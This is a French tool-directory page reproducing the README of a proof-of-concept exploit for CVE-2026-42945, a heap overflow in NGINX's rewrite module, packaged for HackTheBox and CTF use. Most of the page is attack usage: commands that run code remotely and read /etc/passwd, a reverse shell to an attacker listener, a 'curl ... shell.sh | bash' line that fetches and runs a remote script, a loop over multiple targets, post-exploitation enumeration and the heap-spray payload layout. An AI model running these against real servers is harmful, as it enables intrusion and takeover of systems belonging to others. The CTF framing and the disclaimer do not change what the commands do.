Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42945-POC — exploit pour CVE-2026-42945 | Kitploit
Outils/GitHubGitHub/cipherspy/cve-2026-42945-poc
ReconnaissanceGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationExploitation de Binaires
GitHubcipherspy/cve-2026-42945-poc
54137il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

CVE-2026-42945-POC

exploit pour CVE-2026-42945

Voir le dépôt
Partager

CVE-2026-42945 (NGINX Rift) - Exploit compatible HTB

Exploit autonome pour la vulnérabilité de dépassement de tas (heap buffer overflow) dans NGINX découverte en 2024. Cette version est optimisée pour les environnements HackTheBox et CTF où vous ne pouvez pas mettre en place de conteneurs Docker.

Détails de la vulnérabilité

CVE-2026-42945 est un dépassement de tas critique dans le ngx_http_rewrite_module de NGINX qui existe depuis 2008 (version 0.6.27). Le bug se produit lorsque :

  1. Une directive rewrite contient ? dans le remplacement (définit is_args = 1)
  2. Une directive set capture une partie de l'URI
  3. Le calcul de longueur s'effectue sur un sous-moteur remis à zéro (voit is_args = 0)
  4. La phase de copie s'exécute sur le moteur principal (voit is_args = 1)
  5. L'échappement de l'URI agrandit les caractères 3x, provoquant un dépassement du tampon sous-dimensionné
Télécharger l’outil

Versions affectées

  • NGINX Open Source : 0.6.27 - 1.30.0
  • NGINX Plus : R32 - R36

Versions corrigées

  • NGINX Open Source : 1.31.0, 1.30.1
  • NGINX Plus : R36 P4, R35 P2, R32 P6

Fichiers inclus

  1. nginx_rift_htb.py - Script d'exploitation principal
  2. nginx_rift_helper.py - Outil de reconnaissance et de fuite d'informations
  3. README.md - Ce fichier

Prérequis

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# Aucun paquet Python supplémentaire nécessaire - utilise uniquement la bibliothèque standard !

Démarrage rapide

1. Vérifier si la cible est vulnérable

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

Cela va :

  • Détecter si NGINX est en cours d'exécution
  • Tenter d'identifier la version
  • Vérifier la présence du point de terminaison /api/
  • Indiquer si la cible semble vulnérable

2. Reconnaissance (recommandé)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

Cela effectue :

  • Empreinte de NGINX (fingerprinting)
  • Détection de version
  • Découverte de points de terminaison
  • Détection de fuites d'informations
  • Analyse comportementale

3. Lancer l'exploit

Exécuter une commande :

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

Obtenir un reverse shell :

root@kitploit:~
# Démarrer d'abord le listener (dans un autre terminal)
nc -lvnp 4444

# Lancer l'exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

Exemples d'utilisation

Exécution de commandes de base

root@kitploit:~
# Exécuter la commande 'id'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Exécuter 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Lire /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

Reverse shell

root@kitploit:~
# Terminal 1 : Démarrer le listener
nc -lvnp 4444

# Terminal 2 : Lancer l'exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

Adresses personnalisées (si ASLR est désactivé ou si vous avez des fuites)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Options avancées

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

Comprendre l'exploit

Comment cela fonctionne

  1. Heap Spray : L'exploit envoie plusieurs requêtes POST avec des corps conçus contenant une fausse structure ngx_pool_cleanup_s
  2. Déclenchement du dépassement : Envoie une requête GET à /api/ avec un URI spécialement conçu qui provoquera un dépassement lors de l'échappement
  3. Hook de nettoyage : Le dépassement corrompt le pointeur de nettoyage d'un pool adjacent pour pointer vers notre fausse structure
  4. Exécution de code : Lorsque le pool est détruit, il appelle system() avec notre commande

Paramètres clés

  • Octets cibles : Adresses de 6 octets qui ne doivent contenir que des caractères sûrs pour les URL
  • Corps du spray : Corps de requête POST de 4000 octets contenant la fausse structure de nettoyage
  • Charge utile du dépassement : 349 'A' + 969 caractères '+' qui se développent 3x lors de l'échappement

Considérations sur l'ASLR

L'exploit suppose qu'ASLR est désactivé ou que vous connaissez les adresses. Sur HTB :

  • Certaines machines désactivent l'ASLR pour faciliter l'exploitation
  • D'autres nécessitent de trouver une fuite d'informations
  • Le script auxiliaire peut aider à la reconnaissance

Si ASLR est activé, vous devrez peut-être :

  1. Trouver une fuite d'informations dans l'application
  2. Forcer par brute force (nécessite de nombreuses tentatives)
  3. Utiliser des écrasements partiels (avancé)

Dépannage

« La cible ne semble pas exécuter NGINX »

  • Vérifiez que la cible exécute réellement NGINX
  • Vérifiez si le port est correct
  • Elle peut être derrière un WAF/proxy

« Impossible de confirmer le point de terminaison /api/ »

La configuration vulnérable nécessite :

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • L'exploit peut quand même fonctionner si la combinaison rewrite+set existe ailleurs
  • Essayez différents chemins courants : /api/, /admin/, /internal/

« Toutes les tentatives d'exploitation ont échoué »

Raisons possibles :

  1. ASLR est activé - Les adresses sont randomisées

    • Solution : Trouver une fuite d'informations ou forcer par brute force
  2. Version de libc différente - system() à un décalage différent

    • Solution : Essayer tous les décalages avec --verbose
  3. Version non vulnérable - Version corrigée ou configuration différente

    • Solution : Vérifier la version avec le script auxiliaire
  4. WAF/IDS qui bloque - Contrôles de sécurité en place

    • Solution : Des techniques d'évasion peuvent être nécessaires
  5. Mauvais point de terminaison - La combinaison rewrite+set n'est pas utilisée

    • Solution : Trouver le point de terminaison réellement vulnérable

Mode verbeux

Utilisez toujours --verbose pour le débogage :

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

Cela affiche :

  • Le statut de chaque requête de spray
  • Les tentatives de connexion
  • Le minutage du déclenchement du dépassement
  • La logique de détection de crash

Conseils spécifiques à HTB

Trouver votre adresse IP VPN

root@kitploit:~
# Trouver votre IP tun0
ip addr show tun0 | grep inet

# Utiliser cette IP pour --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

Stabiliser le shell

Une fois l'accès initial obtenu :

root@kitploit:~
# Passer à un TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Mettre en arrière-plan et configurer le terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Énumération HTB courante après le shell

root@kitploit:~
# Vérifier l'utilisateur courant
id
whoami

# Rechercher les flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Vérifier les permissions sudo
sudo -l

# Vérifier les binaires SUID
find / -perm -4000 2>/dev/null

Utilisation avancée

Génération de charge utile personnalisée

Si vous devez personnaliser la charge utile :

root@kitploit:~
# Modifier la fonction make_body() dans nginx_rift_htb.py
# Ajuster BODY_LEN pour différentes configurations
# Modifier la chaîne de dépassement (349 'A' + 969 '+')

Cibles multiples

root@kitploit:~
# Créer une liste de cibles
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Tester chacune d'elles
while read target; do
    echo "Test de $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

Exploitation automatisée

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Démarrage du listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Lancement de l'exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

Détails techniques

Modèle de code vulnérable

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Définit is_args=1
    set $original_endpoint $1;                     # Alloue en fonction de is_args=0
}

Déroulement de l'exploitation

root@kitploit:~
1. POST du spray → Remplit le tas avec de fausses structures de nettoyage
2. GET /api/AAAA...++++...X → Déclenche le dépassement
3. Le dépassement corrompt le pointeur de nettoyage du pool adjacent
4. Pool détruit → Appelle system(cmd)

Disposition mémoire

root@kitploit:~
[Corps du Heap Spray - 4000 octets]
+0:  system_addr (8 octets)
+8:  data_addr (8 octets) 
+16: next (8 octets, NULL)
+24: command_string (variable)
+reste : remplissage 'A'

Références

  • POC original : https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • Analyse technique : https://depthfirst.com/research/nginx-rift
  • Avis NGINX : https://my.f5.com/manage/s/article/K000160932
  • Détails CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

Avertissement

Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. L'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégal. L'auteur décline toute responsabilité en cas de mauvaise utilisation.

Crédits

  • Vulnérabilité originale découverte par depthfirst
  • POC original : p3Nt3st3r-sTAr
  • Adaptation HTB : Modifié pour une utilisation autonome

Licence

À des fins éducatives/de recherche uniquement. Utilisez de manière responsable.